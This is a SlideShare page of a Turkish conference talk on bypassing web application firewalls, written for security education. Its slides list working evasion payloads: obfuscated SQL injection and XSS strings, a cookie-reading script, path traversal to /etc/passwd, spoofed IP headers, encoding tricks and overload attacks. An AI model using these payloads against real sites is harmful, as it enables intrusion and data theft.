Successfully reported this slideshow.
Your SlideShare is downloading. ×

WAF atlatma yontemleri, Hacktrick14, Suleyman Ozarslan

WAF atlatma yontemleri, Hacktrick14, Suleyman Ozarslan

Download to read offline

Bu sunumda Web Uygulama Güvenlik Duvarları'nı (WAF) atlatma tekniklerinden bahsedilmiştir..

In this presentation, evasion and bypass techniques of Web Application Firewalls (WAF) are discussed.

Bu sunumda Web Uygulama Güvenlik Duvarları'nı (WAF) atlatma tekniklerinden bahsedilmiştir..

In this presentation, evasion and bypass techniques of Web Application Firewalls (WAF) are discussed.

More Related Content

Slideshows for you

Related Books

Free with a 30 day trial from Scribd

See all

Related Audiobooks

Free with a 30 day trial from Scribd

See all

WAF atlatma yontemleri, Hacktrick14, Suleyman Ozarslan

  1. 1. Siber Güvenlik Ürünlerini Atlatma Yöntemleri Süleyman Özarslan
  2. 2. • Kurucu ortak ve Ar-Ge yöneticisi @ Picus Security • Ph.D. Adayı & Araştırmacı @ Orta Doğu Teknik Üniversitesi • Siber Savunma Uzmanı ve Eğitmeni @ NATO Bilim ve Barış için Güvenlik Programı #whoami 2
  3. 3. 3
  4. 4. 4
  5. 5. Bu Tehditleri Nasıl Önleyebiliriz? 1. Direkt Yaklaşım: Web uygulamaları geliştirilirken «güvenli yazılım geliştirme» yöntemlerinin kullanılması 2. Tespit Edici Yaklaşım: Blackbox/whitebox testler, fuzzing, kodun statik/dinamik/manuel analizi 3. Önleyici Yaklaşım: Saldırı Engelleme Sistemleri, Web Uygulama Güvenlik Duvarları (WAF) 5
  6. 6. WAF nedir? (WTF WAF?) Web Application Firewall = Web Uygulama Güvenlik Duvarı Atakları, uygulama katmanında (Layer 7) engeller. 6
  7. 7. WAF Nasıl Çalışır? Gelen HTTP paketlerinin bileşenlerine ayrılması (parsing) Verinin normalleştirilmesi (URL decode, base64) Filtreleme kurallarının işletilmesi (regex vs.) Kararın verilmesi (doğru, yanlış, skor) 7
  8. 8. WAF Nasıl Çalışır? Gelen HTTP paketlerinin bileşenlerine ayrılması (parsing) Verinin normalleştirilmesi (URL decode, base64) Filtreleme kurallarının işletilmesi (regex vs.) Kararın verilmesi (doğru, yanlış, skor) 8
  9. 9. 1 İstek metodu 2 URL host 3 URL yolu 4 URL sorgusu 5 İstek başlığı 6 Cevap Başlığı 9
  10. 10. Örnek HTTP Başlık (Header) Alanları Header Alanının Adı Tanımı Örnek Host İsteğin gönderildiği alan adı ve portu. Host: ankara.edu.tr:80 Accept Cevapta kabul edilebilecek içerik tipleri Accept: text/plain Content-Length Byte cinsinden isteğin uzunluğu Content-Length: 348 Content-Type İsteğin tipi (POST ve PUT isteklerinde kullanılır) Content-type: application/pdf 10
  11. 11. Anlamsız HTTP başlıkları gönderirsek ne olur? 11
  12. 12. 12
  13. 13. HTTP parametreleriyle kafaları karıştırsak? 13
  14. 14. HTTP Parametre Zehirleme www.example.com/index.asp?id=1+select+ username,password+from+users www.example.com/index.asp?id=1+select+ username&id=password+from+users 14
  15. 15. WAF’lar Gelen İsteğin Hangi IP’den Geldiğini Nasıl Anlar? 15
  16. 16. Cevap: Çoğunlukla Header ‘a bakarlar. X-forwarded-for X-remote-IP X-originating-IP X-remote-addr X-remote-ip 16
  17. 17. WAF’ın Kontrol Etmeyeceği IP ‘ler X-forwarded-for : Cache sunucusu IP adresi X-remote-IP : Proxy Sunucu IP adresi X-originating-IP : Local Host (127.0.0.1) X-remote-addr : Yerel Ağ IP adresi (192.168.1.x) X-remote-ip : Kafa karıştırıcı karakterler (*, %00) 17
  18. 18. WAF Nasıl Çalışır? Gelen HTTP paketlerinin bileşenlerine ayrılması (parsing) Verinin normalleştirilmesi (URL decode, base64) Filtreleme kurallarının işletilmesi (regex vs.) Kararın verilmesi (doğru, yanlış, skor) 18
  19. 19. Verinin Normalleştirilmesi Format çözümleyiciler (format parsers) base64 xml JSON 19
  20. 20. WAF ‘ların ve web uygulamalarının çözümleyicileri aynı mıdır? 20
  21. 21. Verinin Normalleştirilmesi Atak: <script>alert(1)</script> Base64 kodlanmış (encode) hali: PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== Illegal karakter ekle (nokta . karakteri): P.HNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== Bazı WAF’lar bunu çözemez (decode) (RFC-4648) PHP illegal karakterleri göz ardı ettiği için bu karakter dizesini çözebilir (RFC-2045). 21
  22. 22. WAF Nasıl Çalışır? Gelen HTTP paketlerinin bileşenlerine ayrılması (parsing) Verinin normalleştirilmesi (URL decode, base64) Filtreleme kurallarının işletilmesi (regex vs.) Kararın verilmesi (doğru, yanlış, skor) 22
  23. 23. mod_security /test.php?id=1 or 1=1 or ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:([s'"`xc2xb4xe2x80x99xe2x80x98()]*?) b([dw]++)([s'"`xc2xb4xe2x80x99xe2x80x98 ()]*?)(?:(?:=|<=>|r?like|soundss+like|regexp)([s'"`xc2xb4 xe2x80x99xe2x80x98()]*?)2b|(?:!=|<=|>=|<>|< |>|^|iss+not ..." at ARGS:s. [file "/etc/modsecurity/owasp- crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "77"] [id "950901"] [rev "2"] [msg "SQL Injection Attack: SQL Tautology Detected."] [data "Matched Data: 1=1 found within ARGS:s: 1 or 1=1 or"] [severity "CRITICAL 23
  24. 24. mod_security /test.php?id=1 or true or 24
  25. 25. SQL Karmaşıkl/**/aşTırmA (Obfuscation) Farklı Veri Tabanı Yönetim Sistemleri (VTYS – DBMS) , farklı SQL sözdizimlerine (syntax) sahiptir. Bunların çoğu Unicode, Base64, hex, octal, binary, hash algoritmaları (MD5, SHA1) gibi farklı ifadeleri desteklerler. WAF’ların karalistelerindeki bir çok karakter, fonksiyonel alternatifleri ile değiştirilebilirler. Örn: MySQL’de 0xA0 = boşluk karakteri (UTF-8 Hex) 25
  26. 26. Basit Karmaşıklaştırma Örnekleri <script>alert(123)<script> <sCripT>AleRt(123)</scRIpt> id=123 union select user,1,2,3 from table id=123 uNion SeLeCT user,1,2,3 fRom table id=123 uniOn SeLEcT BaNneR FroM v$vERsIon WhERe ROwNUm=1 26
  27. 27. Encoding ile SQL Karmaşıklaştırma Genel olarak uygulamalarda ', ", <, >, /, ;, |, gibi karakterler filtrelenir. Fakat bu karakterlerin tüm gösterim yöntemleri için filtreleme yapılmazsa farklı encoding yöntemleri ile bu kontroller atlatılabilir. 27
  28. 28. Encoding ile SQL Karmaşıklaştırma 1. Ascii – ' 2. URL Encode - %27 3. Double URL Encode - %2527 4. UTF-8 (2 byte) - %c0%a7 5. UTF-8 (JAVA) - uc0a7 6. HTML Entity - &apos; 7. HTML Entity Number -  8. Decimal - &#39 9. Unicode URL Encoding - %u0027 10. Base64 - Jw== 28
  29. 29. Benzer Fonksiyonlar Kullanma <script>alert("xss">)</script> <img/src="xss.png"alt="xss"> <object data="javascript:alert(1)">uyg.asp?id=<object>< param name="src" value="javascript:alert(1)"></param></object> <isindex type=image src=1 onerror=alert(1)> <isindex action=javascript:alert(1) type=image> <img src=x:alert(alt) onerror=eval(src) alt=0> <meta style="xss:expression(open(alert(1)))" /> 29
  30. 30. Benzer Mantıksal Operatörler Kullanma 1. id=123+AND+1=1 2. id=123+&&+1=1 3. id='=' 4. id=123+AND+md5('a')!= md5('A') 5. id=123+and+len(@@version)>1 6. id=1'||1='1 7. id=123'+like+'123 8. id=123'+not+like+'1234 9. id='aaa'<>'bbb' 30
  31. 31. Özel Karakterler Kullanmak Nullbyte, boşluk, slash veya newline karakterleri kullanmak 1. id=%3Cscript%3Ealert(document.cookie)%3C/script%00TESTTEST%3E 2. id=%3Cscript%3Ealert(document.cookie)%3C/script%20TESTTEST%3E 3. id=";eval(unescape(location))//#%0Aalert(0) 4. file=../../../../../etc/passwd/////[…]///// 5. file=../../../../../etc/passwd////////////// 6. uyg.php?file=.//././/././/./boot.ini 7. id%00TESTTEST=1+union+select+1,2,3 31
  32. 32. Yorum Karakterleri Kullanmak s/*/e/**//**/e/*/**/l/*le*c*//*/*/ect/*~~/**/1 32
  33. 33. Bellek Taşması d=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 tane A) +UnIoN+SeLeCT+1,2,version(),4,5, database(),user(),8,9,10,11,12,13, 14,15,16,17,18,19,20,21,22,23,24, 25,26,27,28,29,30,31,32,33,34,35, 36–+ 33
  34. 34. Karalistedeki Kelimeri Silme Bazı güvenlik kontrolleri belirli anahtar kelimeleri tamamen siler. Bu tip filtreleri şu şekilde atlatabiliriz: id=1+UNIunionON+SeLselectECT+1,2,3– union ve select filtreleri silindiğinde geriye bizim istediğimiz atak isteği kalacaktır: UNION+SELECT+1,2,3– 34
  35. 35. Yeni SQL Özellikleri WAF ‘ların Düşmanı, Hacker ’ların dostudur. MySQL/PostgreSQL XML fonksiyonlarını destekler: SELECT UpdateXML('<script x=_></script>',’/script/ @x','src=//0x.lv'); 35
  36. 36. 36 Teknolojik Limitasyonları Kullanarak Atlatma
  37. 37. SSL Üzerinden Atlatma WAF’lar kurulurken genellikle SSL için gerekli ayarlar yapılmaz. SSL güvenli iletişim sağlamak için trafiği şifreler. WAF için eğer gerekli SSL ayarları yapılmazsa SSL trafiğini analiz edemeyeceği için saldırıları engelleyemez. 37
  38. 38. Güçlü SSL Cipher’ları Kullanma WAF ‘lar SSL trafiğini analiz edebilmek için ayarlanmış olsalar bile yeterli olmayabilir. WAF’lar tarafından desteklenmeyen fakat sunucu üzerindeki desteği bulunan SSL cipher'ları kullanılabilir. 38
  39. 39. Yük Yaratarak Atlatma WAF aşırı yüklendiğinde ne olur? Aşırı yüklemek için WAF’ı yoran istekler gönderilebilir: XML, SOAP, regular expression DOS (Denial of Service – Hizmet Engelleme) atakları DDoS (Distrubuted DoS – Dağıtık Hizmet Engelleme) atakları 39
  40. 40. Sonuçlar WAF ‘lar genel olarak «blacklisting» modda regex kurallarıyla atakları engellemeye çalışırlar. Bu yüzden tanımlı kurallara uymayan saldırılar kullanılarak her WAF atlatılabilir. Fakat, güvenlik bakış açısıyla maliyet etkin (cost-effective) olabilirler. Bu yüzden özellikle kritik web uygulamalarının WAF ile korunması önerilmektedir. 40
  41. 41. Sorular? Süleyman Özarslan suleyman@picussecurity.com @su13ym4n 41

×